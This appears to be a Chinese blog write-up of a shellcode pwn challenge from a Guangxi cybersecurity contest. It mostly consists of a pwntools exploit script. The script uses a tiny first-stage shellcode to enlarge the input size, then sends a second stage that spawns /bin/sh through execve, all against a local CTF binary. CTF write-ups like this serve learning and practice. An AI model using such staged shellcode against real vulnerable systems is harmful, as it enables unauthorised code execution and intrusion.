一个简单的 shellcode pwn题 广西首届网络安全选拔赛

这个题 唯一的难点就是 shellcode  的 只是给了 0x14的大小

本来这个题 不打算发博客  但是有小姐姐看 ~~~ 就写一篇发上来把

然后我们看一下 程序的大概内容

{说一个很沙雕的事情 由于这个程序的特殊性  f5没有办法 看出来  然后 负责人这个b心情又不好

然后我把这个程序的 call eax  搞成nop

 

f5 一把梭 

 

}

23333  所以 这个题 其实也就是 重点是先 shellcode  把那个参数改的大一些就好了  push ret 一把梭 

emmm  感觉 都给注释了 直接看exp把
 

import sys
from pwn import *
#context.log_level='debug'
#context.arch='amd64'

if len(sys.argv)==1 :
	io=process('./pwn_1')
	elf=ELF('./pwn_1')
	#libc=ELF('')

pay='\xC7\x44\x24\x08\x44\x00\x00\x00'
#mov    dword ptr [esp + 8], 0x44
pay+=asm("push 0x0804848E")
pay+=asm("ret")
print len(pay)
gdb.attach(io,'b *0x080484CB')
io.sendline(pay)
io.recv()


pay=asm("push   0xb")
pay+=asm("pop    eax")
pay+=asm("cdq")
pay+=asm("push   edx")
pay+=asm("sub    ebp,8")
pay+=asm("mov    ebx,ebp")
pay+=asm("xor    ecx,ecx")
pay+=asm("int    0x80")
pay=pay.ljust(0x21,'a')
pay+='/bin/sh\x00'
print len(pay)
io.sendline(pay)


#pause()
io.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值